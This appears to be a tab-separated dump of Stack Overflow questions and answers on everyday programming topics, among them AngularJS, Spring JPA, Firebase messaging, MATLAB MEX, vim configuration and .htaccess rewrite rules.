21457790	0	 <p>You could use the encodeUri filter: <a href="https://github.com/rubenv/angular-encode-uri">https://github.com/rubenv/angular-encode-uri</a></p> <ol> <li><p>Add angular-encode-uri to your project:</p> <p><code>bower install --save angular-encode-uri</code></p></li> <li><p>Add it to your HTML file:</p> <p><code>&lt;script src="bower_components/angular-encode-uri/dist/angular-encode-uri.min.js"&gt;&lt;/script&gt;</code></p></li> <li><p>Reference it as a dependency for your app module:</p> <p><code>angular.module('myApp', ['rt.encodeuri']);</code></p></li> <li><p>Use it in your views:</p> <p><code>&lt;a href="#/search?query={{address|encodeUri}}"&gt;</code></p></li> </ol>
1540095	0	 <p>I found <a href="http://stackoverflow.com/questions/273447/how-to-ignore-route-in-asp-net-forms-url-routing">How to ignore route in asp.net forms url routing</a> which might work for this, it uses the <a href="http://msdn.microsoft.com/en-us/library/system.web.routing.stoproutinghandler.aspx" rel="nofollow noreferrer">StopRoutingHandler</a> class, and as long as the requests to .php do run through the routing this will probably work.</p> <p>If the .php requests are not going through the routing handler then this probably wouldn't work.</p>
35008864	0	spray.json (scala): how to (de)serializing nested Option[JsNumber] <p>I am trying to (de)serialize the following code:</p> <pre><code>class EntityId(value: Long) extends MappedTo[Long] { override def toString = value.toString } object EntityId extends DefaultJsonProtocol { implicit object EntityIdJsonFormat extends RootJsonFormat[EntityId] { def write(entityId: EntityId) = JsNumber(entityId.value) def read(value: JsNumber) = value match { case JsNumber(entityIdLong) =&gt; new EntityId(entityIdLong.toLongExact) } } } case class Version(value: Long) extends MappedTo[Long] { def increment() = copy(value + 1) } object Version extends DefaultJsonProtocol { implicit object VersionJsonFormat extends RootJsonFormat[Version] { def write(version: Version) = JsNumber(version.value) def read(value: JsNumber) = value match { case JsNumber(version) =&gt; new Version(version.toLongExact) } } } /** * Trait for entities: all model classes that require an auto-incremental ID and optimistic locking. */ trait Entity[I &lt;: EntityId] { def id: Option[I] def version: Option[Version] def created: Option[Instant] def modified: Option[Instant] def isPersisted = id.isDefined } object Entity extends DefaultJsonProtocol { ??????????????? } </code></pre> <p>(it is based on Blogimistic TypeSafe template).</p> <p>my problems starts with the nested part. Because in Entity the EntityId is optional, I cannot figure how to serialize and deserialize it. how should this be done?</p>
12638439	0	Sharing entity types across multiple edmx files <p>We are using Entity Framework 4 with the POCO Entity Generator. Until now we've just had one .edmx file but we're running into performance problems due to the current size of it (well over 100 entities). </p> <p>I understand we should be looking to break this into a series of .edmx files which is fine with one exception. We would want to somehow share certain entity types across two or more of these contexts. For example a User class is associated with numerous otherwise unrelated entities throughout our model.</p> <p>So is it possible to have, say, a security model with its own .edmx and namespace for generated POCOs, but use it in another .emdx? If not I'm concerned we'll have multiple classes modelling the same database table which will need to be updated in sync with the database. I'd say that would be unworkable. (We're using database-first).</p> <p>Obviously if I'm barking up the wrong tree do let me know! </p>
4074533	0	 <p>I believe Instruments are not useful for any tracing in this case since the application crashes and then is auto-restarted (it's iPad/iPhone app), so all Intruments history is gone.<br> <br> I do not see much point instantiating NSMutableURLRequest as autoreleased object since it needs to be retained for the duration of async call spanning multiple idle loop cycles. NSURLConnection may retain it internally or not, but keeping an extra reference for safety should not hurt.<br> <br> The initialization code boils down to essentially the following: </p> <blockquote> <p>rq-&gt;url_encoded = [url_encode(rq-&gt;url) retain];<br> rq-&gt;http_url = [NSURL URLWithString:rq-&gt;url_encoded];<br> rq-&gt;http_request = [[NSMutableURLRequest alloc] initWithURL:rq-&gt;http_url];<br> [rq-&gt;http_request setHTTPMethod:@&quot;GET&quot;];<br> <br> NSArray* availableCookies = [rq-&gt;service.CookieJar cookiesForURL:rq-&gt;http_url];<br> NSDictionary* headers = [NSHTTPCookie requestHeaderFieldsWithCookies:availableCookies];<br> [rq-&gt;http_request setAllHTTPHeaderFields:headers];<br> rq-&gt;http_connection = [NSURLConnection alloc];<br> <br> [rq-&gt;http_connection initWithRequest:rq-&gt;http_request delegate:rq startImmediately:YES];</p> </blockquote> <p>The release procedure is that connectionDidFinishLoading calls [rq-&gt;http_connection cancel] and [rq autorelease], the latter eventually leading to:</p> <blockquote> <p>// [http_request autorelease];<br> // delayedAutoRelease(http_request);<br> [http_connection autorelease];<br> [http_url autorelease];<br> [url release];<br> [url_encoded release];<br> [response release];<br> </blockquote> <p>Note that [response release] just pairs previous [response retain] executed inside didReceiveResponse.</p> <p>If I leave first two lines commented out, NSURLRequest leaks with reference count 1 per Instruments, and this is the only leak observed.<br> Whenever I attempt to autorelease http_request whichever way as described above, a crash occurs.</p>
10821762	0	Using GDB for debugging netlink communication <p>I have a multi-threaded application that communicates with a kernel module using netlink sockets. One of the threads in user mode application works as a server and kernel module works as a client. Roughly the kernel code is as follows: </p> <pre><code>timeout = 3500; netlink_unicast(); wait: __set_current_state(TASK_INTERRUPTIBLE); timeout = schedule_timeout(timeout); __set_current_state(TASK_RUNNING); if (!timeout) { printk(KERN_ERR "No response received\n"); return -1; } if (message_status != UPDATED) { printk(KERN_ERR "Somebody woke us up before we got a reply. Time left %d\n", timeout); __set_current_state(TASK_INTERRUPTIBLE); goto wait; } </code></pre> <p>The <strong>message_status</strong> variable is updated in the netlink callback when the user mode application replies to this message. So basically the idea is to send a message and then wait at max timeout jiffies for the reply.</p> <p>Now, using gdb, if I add a break point in any function that is called by netlink server thread in user mode, the break point is never hit and the kernel log is flooded with messages like </p> <blockquote> <p>Somebody woke us up before we got a reply. Time left 3499</p> <p>Somebody woke us up before we got a reply. Time left 3499</p> <p>Somebody woke us up before we got a reply. Time left 3499</p> <p>Somebody woke us up before we got a reply. Time left 3499</p> <p>..</p> <p>..</p> <p>Somebody woke us up before we got a reply. Time left 3498</p> </blockquote> <p>Until I finally get </p> <blockquote> <p>No response received</p> </blockquote> <p>What is causing the kernel thread to wake up from the timeout and how should I debug the user mode code?</p> <p>PS: I am using 2.6.32-71.el6.x86_64 on RHEL 6.0</p>
9364142	0	 <p>From the information you provide and from Matlab's documentation <code>strsplit</code> is not an intrinsic Matlab function. So the question for you is <em>Where have you installed the source of the strsplit function ?</em> When you've answered that for yourself use the <code>File | Set Path</code> menu.</p>
1623554	0	 <p>In the help, if you search for "Template Libraries" it gives instructions on how to do it.</p>
5873919	0	 <p>Think about the wasy jQuery handles selectors:</p> <pre><code># denotes an id: '#id' . denotes a class: '.class' : denotes a pseudo class: ':pseudo_class' </code></pre> <p>So when your doing your selection it is expanding to:</p> <pre><code>$("#j_idt23:txtNumber") </code></pre> <p>Meaning find an element with id = 'j_idt23' and pseudo class 'txtNumber' but txtNumber isnt a valid pseudo class, and jQuery is confused.</p> <p>Change it to something like <code>"j_idt23_txtNumber"</code></p>
22733618	0	Display Unity app in Cocoa View - OSX <p>I have a simple question: is it possible to display a Unity app inside a Cocoa View. I'm not talking about iOS. But MacOS.</p> <p>The problem is: Unity will create a single file for OSX, while under iOS you get the full project that you can modify and make it work.</p> <p>I hope someone had the chance to figure this out.</p> <p>TIA</p>
23430629	0	spring open jpa db2 error <p>My spring jpa poc is failing to get repository injected. Throwing an exception </p> <p>java.lang.IllegalArgumentException: Interface must be annotated with @org.springframework.data.repository.RepositoryDefinition!</p> <p>I am giving all my soruce code so that it can be identified by some one who went through this </p> <p>my app-context xml</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xmlns:aop="http://www.springframework.org/schema/aop" xmlns:tx="http://www.springframework.org/schema/tx" xmlns:util="http://www.springframework.org/schema/util" xmlns:jdbc="http://www.springframework.org/schema/jdbc" xmlns:context="http://www.springframework.org/schema/context" xmlns:jpa="http://www.springframework.org/schema/data/jpa" xmlns:jee="http://www.springframework.org/schema/jee" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-3.0.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.0.xsd http://www.springframework.org/schema/jdbc http://www.springframework.org/schema/jdbc/spring-jdbc-3.0.xsd http://www.springframework.org/schema/util http://www.springframework.org/schema/util/spring-util-3.0.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/data/jpa http://www.springframework.org/schema/data/jpa/spring-jpa.xsd http://www.springframework.org/schema/jee http://www.springframework.org/schema/jee/spring-jee-4.0.xsd"&gt; &lt;bean id="entityManagerFactory" class="org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean" p:persistenceUnitName="POC" p:packagesToScan="com.poc.accountant.orm" p:dataSource-ref="dataSource" p:jpaVendorAdapter-ref="openJpaVendor" /&gt; &lt;!-- p:persistenceXmlLocation="classpath*:persistence.xml" --&gt; &lt;bean id="openJpaVendor" class="org.springframework.orm.jpa.vendor.OpenJpaVendorAdapter"&gt; &lt;property name="showSql" value="true"/&gt; &lt;property name="databasePlatform" value="org.apache.openjpa.jdbc.sql.DB2Dictionary" /&gt; &lt;/bean&gt; &lt;bean id="jpaDataSource" class="org.springframework.jndi.JndiObjectFactoryBean"&gt; &lt;property name="jndiName" value="jdbc/tepds"/&gt; &lt;/bean&gt; &lt;jee:jndi-lookup id="dataSource" jndi-name="jdbc/tepds" resource-ref="true" cache="true" /&gt; &lt;!-- &lt;context:component-scan base-package="com.poc.accountant.orm"/&gt; --&gt; &lt;!-- &lt;context:component-scan base-package="com.poc.accountant.reposotories" /&gt; --&gt; &lt;jpa:repositories base-package="com.poc.accountant.reposotories"/&gt; &lt;/beans&gt; </code></pre> <p>my Entity class</p> <pre><code>package com.poc.accountant.orm; import java.io.Serializable; import java.util.Date; import javax.persistence.Table; import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.GeneratedValue; import javax.persistence.GenerationType; import javax.persistence.Id; import javax.persistence.Temporal; import javax.persistence.TemporalType; /** * @author Fryder * */ @Entity @Table(name = "POC.PUSHAPPS") public class PushApps implements Serializable { /** * generated serial version ID */ private static final long serialVersionUID = -6763892550710204820L; @Id @Column(name = "appid") @GeneratedValue(strategy = GenerationType.AUTO) private Long appid; @Column(name = "msgid") private String msgid; @Column(name = "severity") private String severity; @Column(name = "application") private String application; @Column(name = "source") private String source; @Column(name = "component") private String component; @Column(name = "enabled") private Boolean enabled; @Column(name = "appgroup") private Long appgroup; @Column(name = "last_err") @Temporal(TemporalType.TIMESTAMP) private Date lastErr; @Column(name = "last_err_sent") @Temporal(TemporalType.TIMESTAMP) private Date lastErrSent; //getters and setters stripped } </code></pre> <p>My repository class</p> <pre><code>package com.poc.accountant.reposotories; import java.util.List; import javax.annotation.Resource; import org.springframework.data.jpa.repository.JpaRepository; import com.poc.accountant.orm.PushApps; /** * @author Fryder * */ public interface PushAppsRepository extends JpaRepository&lt;PushApps, Long&gt; { List&lt;PushApps&gt; findByAppId(long appId); } </code></pre> <p>My error log</p> <pre><code>7 poc WARN [[ACTIVE] ExecuteThread: '8' for queue: 'weblogic.kernel.Default (self-tuning)'] openjpa.Runtime - An error occurred while registering a ClassTransformer with PersistenceUnitInfo: name 'poc', root URL [file:/C:/Development/Src code and Artifacts/accountant-parent/accountant-web/target/classes/]. The error has been consumed. To see it, set your openjpa.Runtime log level to TRACE. Load-time class transformation will not be available. 10 poc INFO [[ACTIVE] ExecuteThread: '8' for queue: 'weblogic.kernel.Default (self-tuning)'] openjpa.Runtime - OpenJPA dynamically loaded a validation provider. 167 poc INFO [[ACTIVE] ExecuteThread: '8' for queue: 'weblogic.kernel.Default (self-tuning)'] openjpa.Runtime - Starting OpenJPA 2.0.1 641 poc TRACE [[ACTIVE] ExecuteThread: '8' for queue: 'weblogic.kernel.Default (self-tuning)'] openjpa.jdbc.SQL - &lt;t 8564204, conn 499&gt; executing stmnt 502 SELECT CURRENT SCHEMA FROM SYSIBM.SYSDUMMY1 651 poc TRACE [[ACTIVE] ExecuteThread: '8' for queue: 'weblogic.kernel.Default (self-tuning)'] openjpa.jdbc.SQL - &lt;t 8564204, conn 499&gt; [10 ms] spent &lt;May 2, 2014 10:12:41 AM EDT&gt; &lt;Warning&gt; &lt;HTTP&gt; &lt;BEA-101162&gt; &lt;User defined listener org.springframework.web.context.ContextLoaderListener failed: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'pushAppsRepository': Invocation of init method failed; nested exception is java.lang.IllegalArgumentException: Interface must be annotated with @org.springframework.data.repository.RepositoryDefinition!. org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'pushAppsRepository': Invocation of init method failed; nested exception is java.lang.IllegalArgumentException: Interface must be annotated with @org.springframework.data.repository.RepositoryDefinition! at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1553) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:539) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:475) at org.springframework.beans.factory.support.AbstractBeanFactory$1.getObject(AbstractBeanFactory.java:304) at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:228) Truncated. see log file for complete stacktrace Caused By: java.lang.IllegalArgumentException: Interface must be annotated with @org.springframework.data.repository.RepositoryDefinition! at org.springframework.util.Assert.isTrue(Assert.java:65) at org.springframework.data.repository.core.support.AnnotationRepositoryMetadata.&lt;init&gt;(AnnotationRepositoryMetadata.java:48) at org.springframework.data.repository.core.support.RepositoryFactorySupport.getRepositoryMetadata(RepositoryFactorySupport.java:173) at org.springframework.data.repository.core.support.RepositoryFactoryBeanSupport.afterPropertiesSet(RepositoryFactoryBeanSupport.java:207) at org.springframework.data.jpa.repository.support.JpaRepositoryFactoryBean.afterPropertiesSet(JpaRepositoryFactoryBean.java:84) Truncated. see log file for complete stacktrace </code></pre>
37894941	0	Receive multiple JSONObject in one AsyncHttpClient request <p>I have a problem in my code. I just want to receive JSONObject from my server. here is a part of my php code after make the request</p> <pre><code>$obj = $result-&gt;fetchAll(PDO::FETCH_CLASS); foreach ($obj as $row) { $trouver = FALSE; if (stristr($row-&gt;type_of_event, $chaine_rechercher) !== FALSE) $trouver = TRUE; else if (stristr($row-&gt;name_of_event, $chaine_rechercher) !== FALSE) $trouver = TRUE; else if (stristr($row-&gt;description_of_event, $chaine_rechercher) !== FALSE) $trouver = TRUE; if ($trouver == TRUE){ $reponse["id"] = $row-&gt;id; $reponse["type_of_event"] = utf8_encode($row-&gt;type_of_event); $reponse["description_of_event"] = utf8_encode($row-&gt;description_of_event); echo(json_encode($reponse)); } } </code></pre> <p>But the problem is that in my onSuccess in Android code, just first JSONObject is received. here is a part of my android code</p> <pre><code>client.get("my_url", params, new JsonHttpResponseHandler() { @Override public void onSuccess(int statusCode, Header[] headers, JSONObject json_data) { try { int id = json_data.getInt("id"); String type = json_data.getString("type_of_event"); String description = json_data.getString("description_of_event"); id_list.add(id); type_list.add(type); description_list.add(description); ((SearchResultAdapter)getListAdapter()).notifyDataSetChanged(); } catch (JSONException e) { e.printStackTrace(); } } @Override public void onFailure(int statusCode, Header[] headers, String responseString, Throwable throwable) { Toast.makeText(SearchActivity.this, "Echec de connexion", Toast.LENGTH_SHORT).show(); } }); </code></pre> <p>Can you help me ? Please.</p>
28120057	0	 <p>That is correct, the data buffer for the original <code>A</code> is destroyed by MATLAB and a new buffer is created (the same <code>mxArray</code> structure address is reused presumably by copying the new one onto the original after deallocating the original array's data buffer). <strong>This is assuming you are <em>not</em> writing to <code>prhs[i]</code> in you MEX file!</strong></p> <p>You can see this with <code>format debug</code>. You will observed that the output <code>mxArray</code> has the same address, but it's data buffer has a different address, so it has clearly reallocated the output array. This suggests that the original buffer is deallocated or queued to be deallocated.</p> <p>Starting with the output for a change, of the file <code>testMEX.mexw64</code> that takes the first half of the input array's first row and copies it into a new array:</p> <pre> >> format debug >> A = rand(1,8) A = <b>Structure address = efbb890</b> m = 1 n = 8 <b>pr = 77bb6c40</b> pi = 0 0.2581 0.4087 0.5949 0.2622 0.6028 0.7112 0.2217 0.1174 >> A = testMEX(A) A = <b>Structure address = efbb890</b> m = 1 n = 4 <b>pr = 77c80380</b> pi = 0 0.2581 0.4087 0.5949 0.2622 </pre> <p>Note that <code>pr</code> is <strong>different</strong>, meaning that MATLAB has created a new data buffer. However, the <code>mxArray</code> "Structure address" is the same. So, at the minimum, the old data buffer will be deallocated. Whether or not the original <code>mxArray</code> structure is simply mutated or a new <code>mxArray</code> is created is another question (see below).</p> <hr> <p><strong>Edit:</strong> The following is some evidence to suggest that an entirely new <code>mxArray</code> is created and it is copied onto the old <code>mxArray</code></p> <p>Add the following two lines to the MEX function:</p> <pre><code>mexPrintf("prhs[0] = %X, mxGetPr = %X, value = %lf\n", prhs[0], mxGetPr(prhs[0]), *mxGetPr(prhs[0])); mexPrintf("plhs[0] = %X, mxGetPr = %X, value = %lf\n", plhs[0], mxGetPr(plhs[0]), *mxGetPr(plhs[0])); </code></pre> <p>The result is:</p> <pre> prhs[0] = EFBB890, mxGetPr = 6546D840, value = 0.258065 plhs[0] = <b>EFA2DA0</b>, mxGetPr = 77B65660, value = 0.258065 </pre> <p>Clearly there is <strong>a temporary <code>mxArray</code></strong> at EFA2DA0 containing the output (<code>plhs[0]</code>), and this <code>mxArray</code> header/structure is entirely copied onto the old <code>mxArray</code> structure (the one as <code>A</code> in the base MATLAB workspace). Before this copy happens, MATLAB surely deallocates the data buffer at <code>6546D840</code>.</p> <p><strong>testMEX.cpp</strong></p> <pre><code>#include "mex.h" void mexFunction(int nlhs, mxArray *plhs[], int nrhs, const mxArray *prhs[]) { mxAssert(nrhs == 1 &amp;&amp; mxGetM(prhs[0]) == 1, "Input must be a row vector."); double *A = mxGetPr(prhs[0]); size_t cols = mxGetN(prhs[0]); size_t newCols = cols / 2; plhs[0] = mxCreateDoubleMatrix(1, newCols, mxREAL); for (int i = 0; i &lt; newCols; ++i) mxGetPr(plhs[0])[i] = A[i]; mexPrintf("prhs[0] = %X, mxGetPr = %X, value = %lf\n", prhs[0], mxGetPr(prhs[0]), *mxGetPr(prhs[0])); mexPrintf("plhs[0] = %X, mxGetPr = %X, value = %lf\n", plhs[0], mxGetPr(plhs[0]), *mxGetPr(plhs[0])); } </code></pre>
11726888	0	 <p>This is why many agree that Singleton is an anti-pattern. You need multiple instances of the object, one for each locale. It's not a singleton. I like to say that Singleton is just a euphemism for global variables. You're basically allowing a global way to access the Locales.</p> <p><a href="http://accu.org/index.php/journals/337" rel="nofollow">Singleton - The anti pattern</a></p>
22432515	0	 <p>You can put <code>ftplugin</code> directory with filetype-specific settings inside <code>.vim</code> directory</p> <pre><code>.vim └── ftplugin └── ruby.vim └── markdown.vim </code></pre> <p>And keep your settings there. The are applied when file with corresponding filetype is opened.</p> <p>Also, you might need to have filetype detection(if not detected properly). You can put this to your <code>.vimrc</code></p> <pre><code>autocmd BufNewFile,BufRead *.markdown,*.md,*.mdown,*.mkd,*.mkdn set ft=markdown </code></pre> <p>Or, put it into <code>ftdetect</code> directory</p> <pre><code>.vim └── ftdetect └── markdown.vim </code></pre>
25154160	0	 <p>Unless I misunderstand your question, you can just open a file read only. Here is a simply example, without any checks.</p> <p>To get the file path from the user use this function: </p> <pre><code>Private Function get_user_specified_filepath() As String 'or use the other code example here. Dim fd As Office.FileDialog Set fd = Application.FileDialog(msoFileDialogFilePicker) fd.AllowMultiSelect = False fd.Title = "Please select the file." get_user_specified_filepath = fd.SelectedItems(1) End Function </code></pre> <p>Then just open the file read only and assign it to a variable:</p> <pre><code>dim wb as workbook set wb = Workbooks.Open(get_user_specified_filepath(), ReadOnly:=True) </code></pre>
28845086	0	 <p>The error message you're seeing has nothing to do with the <code>constexpr</code> keyword per se.</p> <p>A string literal like "foo", as in:</p> <pre><code>somefunction("foo"); </code></pre> <p>The type of this string literal is <code>const char *</code>. The following statement:</p> <pre><code>char *const str = "foo"; </code></pre> <p>This tries to assign a <code>const char *</code> value to a <code>char *</code> value. The resulting <code>char *</code> value is non-mutable, constant, but by that time the error already occured: an attempt to convert a <code>const char *</code> to a <code>char *</code>.</p> <p>The <code>constexpr</code> keyword in your example is just a distraction, and has no bearing on the error.</p>
5667848	0	 <p>Force <code>git push</code>:</p> <pre><code>git push origin +develop </code></pre>
34555150	0	 <p>This one is using the <code>Picasso</code> library.</p> <pre><code>String url = "some url to your image"; ImageView thumbnail = (ImageView) findViewById(R.id.thumbnail); Picasso.with(context).load(url).into(thumbnail); </code></pre>
1127131	0	 <pre>/question/how-do-i-bake-an-apple-pie /question/how-do-i-bake-an-apple-pie-2 /question/how-do-i-bake-an-apple-pie-...</pre>
37477687	0	FireBase Cloud Messaging Not Working <p>I am trying to use FireBase Cloud Messaging. I am receiving a token but its not getting any notifications from console. Here is my Manifest:</p> <pre><code> &lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;manifest xmlns:android="http://schemas.android.com/apk/res/android" package="careerage.jobseeker.app" android:hardwareAccelerated="true" android:versionCode="1" android:versionName="0.0.1"&gt; &lt;uses-sdk android:minSdkVersion="16" android:targetSdkVersion="23" /&gt; &lt;supports-screens android:anyDensity="true" android:largeScreens="true" android:normalScreens="true" android:resizeable="true" android:smallScreens="true" android:xlargeScreens="true" /&gt; &lt;uses-permission android:name="android.permission.INTERNET" /&gt; &lt;uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /&gt; &lt;android:uses-permission android:name="android.permission.READ_PHONE_STATE" /&gt; &lt;android:uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /&gt; &lt;application android:hardwareAccelerated="true" android:icon="@drawable/icon" android:label="@string/app_name" android:supportsRtl="true"&gt; &lt;activity android:name=".MainActivity" android:configChanges="orientation|keyboardHidden|keyboard|screenSize|locale" android:label="@string/activity_name" android:launchMode="singleTop" android:theme="@android:style/Theme.DeviceDefault.NoActionBar" android:windowSoftInputMode="adjustResize"&gt; &lt;intent-filter android:label="@string/launcher_name"&gt; &lt;action android:name="android.intent.action.MAIN" /&gt; &lt;category android:name="android.intent.category.LAUNCHER" /&gt; &lt;/intent-filter&gt; &lt;/activity&gt; &lt;service android:name=".TokenService"&gt; &lt;intent-filter&gt; &lt;action android:name="com.google.firebase.INSTANCE_ID_EVENT"/&gt; &lt;/intent-filter&gt; &lt;/service&gt; &lt;service android:name=".NotificationService"&gt; &lt;intent-filter&gt; &lt;action android:name="com.google.firebase.MESSAGING_EVENT"/&gt; &lt;/intent-filter&gt; &lt;/service&gt; &lt;/application&gt; </code></pre> <p></p> <p>And My Code is almost the same as from the sample:</p> <pre><code>public class NotificationService extends FirebaseMessagingService { private void sendNotification(String messagebody) { Intent intent = new Intent(this, MainActivity.class); intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); PendingIntent pendingIntent = PendingIntent.getActivity(this, 0 , intent, PendingIntent.FLAG_ONE_SHOT); Uri defaultSoundUri= RingtoneManager.getDefaultUri(RingtoneManager.TYPE_NOTIFICATION); NotificationCompat.Builder notificationBuilder = new NotificationCompat.Builder(this) .setSmallIcon(R.drawable.icon) .setContentTitle("Notified") .setContentText(messagebody) .setAutoCancel(true) .setSound(defaultSoundUri) .setContentIntent(pendingIntent); NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); notificationManager.notify(0 , notificationBuilder.build()); } private void sendSnackbar(String messagebody) { Toast.makeText(this,"Notified",Toast.LENGTH_LONG).show(); } @Override public void onMessageReceived(RemoteMessage remoteMessage) { Toast.makeText(this,"Message Received",Toast.LENGTH_LONG).show(); Log.d("Notification Received",remoteMessage.getNotification().getBody()); sendNotification(remoteMessage.getNotification().getBody()); sendSnackbar(remoteMessage.getNotification().getBody()); } } </code></pre> <p>I checked the Question here <a href="http://stackoverflow.com/questions/37351354/firebase-cloud-messaging-notification-not-received-by-device">Firebase cloud messaging notification not received by device</a> but still it is not working.</p>
12381053	0	 <p>Thunderbird AddOns are extensions for the Mozilla Thunderbird email client. They are written mostly in XUL (a flavor of XML) and Javascript.</p> <hr> <h3>Useful links</h3> <ul> <li><a href="https://addons.mozilla.org/en/thunderbird/" rel="nofollow">Official website</a></li> </ul> <hr> <h3>Related tags</h3> <ul> <li><a href="/questions/tagged/thunderbird" class="post-tag" title="show questions tagged &#39;thunderbird&#39;" rel="tag">thunderbird</a></li> </ul>
22859855	0	Drag and drop from list to canvas on windows phone with MVVM <p>I have an app where a user can manipulate around with elements chosen from a list, this is done by clicking the list element and the element is added to a canvas.</p> <p>During a user testing of the app. People found it not to be intuitive since they wanted drag and drop. I have found several links describing how to implement this for WPF, i.e. not for windows Phone. </p> <p>Trying to replicate the code from a <a href="http://code.msdn.microsoft.com/windowsdesktop/DragnDrop-from-ListBox-on-67273e33" rel="nofollow">msdn project</a> i ended up with problems that I cannot get the same information about the elements from DragEventArgs. </p> <p>So what I want to accomplish is user can drag an element in a listbox to a canvas. I have tried in the Viewmodel but missing information in DragEventArgs, like e.Data and e.Source. I have also tried in the xaml.cs file with no success.</p> <p>Any help is appreciated.</p> <p><strong>Idea</strong></p> <ul> <li>create a copy of your element when it's selected,</li> <li>add the copy as a child of your canvas,</li> <li>set the copy's x,y coordinates to match the selected element's location,</li> <li>CaptureMouse() on the copy.</li> </ul> <p>Of course on Windows Phone Manipulation delta should be used to move it instead of capture mouse. I am able to drag an element around inside the Canvas after it was added by a Click event. But I can't seem to get drag from list to work. The bullet points above is a method I have and are trying but without any success so far.</p>
9787934	0	Firewall blocking/unblocking a port <p>I have an app installed on a server with windows 2008 R2 OS and hosted it on port 8080 (used apache tomcat for this).. I'm able to access the app through the URL.. </p> <p>Now, the problem is that I'm unable to access the URL (I mean app) from any other LAN connected machines. </p> <p>After some exploration, I turned off the firewall of that server and I was able to access the app from other LAN connected machines..</p> <p>I came to know the problem i.e Firewall is blocking that port 8080..</p> <p>I can turn off the firewall, but it is not recommended right.. my requirement is to turn on the firewall and make this app accessible from any other LAN connected machine... I think I need to make that port open/something like that, but I don't have any idea regarding this.. no network admin is available as of now, so had to do it myself :( Kindly help me regarding this...</p> <p>Thanks in advance!! :)</p> <p>PS: I cannot download/install any other software's on that server, please suggest some way which can happen via command prompt/some settings to access that port from other LAN connected machines</p>
11389251	0	 <p>If you're trying to use the general pattern of having ALPHANUMBER and ALPHA[NUMBER] refer to the same variable, you can't do it. The square bracket notation in Java refers to an element in an array, while the first is just a general identifier that can refer to a variable. </p> <p>In the specific case of creating two variables, one a direct reference and the other an element in an array, you can simply point <code>r[1] = r1</code> (as long as <code>r1</code> has been initialized). </p>
944953	0	 <p>You can certainly do this in C++ with the <a href="http://msdn.microsoft.com/en-us/library/aa387410.aspx" rel="nofollow noreferrer">Windows Media Format SDK</a>. </p> <p>I have only used WMFSDK9 myself. It contains a sample called UncompAVIToWMV, which may get you started. From the Readme:</p> <blockquote> <p>It shows how to merge samples for audio and video streams from several AVI files and either merge these into similar streams or create a new stream based on the source stream profile. It also shows how to create an arbitrary stream, do multipass encoding and add SMPTE time codes.</p> </blockquote>
26294033	0	.htaccess RewriteCond %{REQUEST_FILENAME} !-d not working <p><code>.htaccess</code> code is,</p> <pre><code>RewriteEngine On RewriteBase / RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^p/([A-Za-z0-9-_]+)/?$ redirect.php?url=$1 [NC,L] # RewriteRule ^[A-Za-z0-9-_]+/([A-Za-z0-9-_]+)/?$ product.php?seo_id=$1 [NC,L] # RewriteRule ^([A-Za-z0-9-_]+)/?$ catalog.php?seo_id=$1 [NC,L] # </code></pre> <p>I'm trying to access <code>http://example.com/directory/</code> which is already exist in server but i can't access it. There is no any error occuring but, if there is a request for already existant directory, rules after <code>RewriteCond %{REQUEST_FILENAME} !-d</code> should not be applied.</p> <p>But in this case one of the 3 rules are applying.</p> <p><code>RewriteCond %{REQUEST_FILENAME} !-d</code> is seems not working.</p>
28157816	0	 <p>See <a href="http://stackoverflow.com/questions/20495302/transparent-background-with-three-js">Transparent background with three.js</a> for transparent background rendering and then you can apply CSS gradients <a href="http://www.w3schools.com/Css/css3_gradients.asp" rel="nofollow">http://www.w3schools.com/Css/css3_gradients.asp</a> however it won't move with your scene unless you get really tricky.</p>
35626058	0	 <p>There's no built-in way to get INSERTs for all the rows in a result set using SQL Assistant. </p> <p>There's an ugly workaround using the <code>CSV</code>-UDF like:</p> <pre><code>WITH cte AS ( -- put your select here SELECT * FROM dbc.tablesV ) SELECT * FROM TABLE (CSV(NEW VARIANT_TYPE( -- you need to list each column of your table cte.DataBaseName ,cte.TABLENAME ,cte.Version ,cte.TableKind ,cte.ProtectionType ,cte.JournalFlag ,cte.CreatorName ,cte.RequestText ,cte.CommentString ,cte.ParentCount ,cte.ChildCount ,cte.NamedTblCheckCount ,cte.UnnamedTblCheckExist ,cte.PrimaryKeyIndexId ,cte.RepStatus ,cte.CreateTimeStamp ,cte.LastAlterName ,cte.LastAlterTimeStamp ,cte.RequestTxtOverflow ,cte.AccessCount ,cte.LastAccessTimeStamp ,cte.UtilVersion ,cte.QueueFlag ,cte.CommitOpt ,cte.TransLog ,cte.CheckOpt ,cte.TemporalProperty ,cte.ResolvedCurrent_Date ,cte.ResolvedCurrent_Timestamp ,cte.SystemDefinedJI ,cte.VTQualifier ,cte.TTQualifier ,cte.PIColumnCount ,cte.PartitioningLevels ,cte.LoadProperty ,cte.CurrentLoadId ,cte.LoadIdLayout ,cte.DelayedJI ), ',', '"') RETURNS (op VARCHAR(32000) CHARACTER SET UNICODE) ) AS dt; </code></pre> <p>Otherwise you must use a different tool...</p>
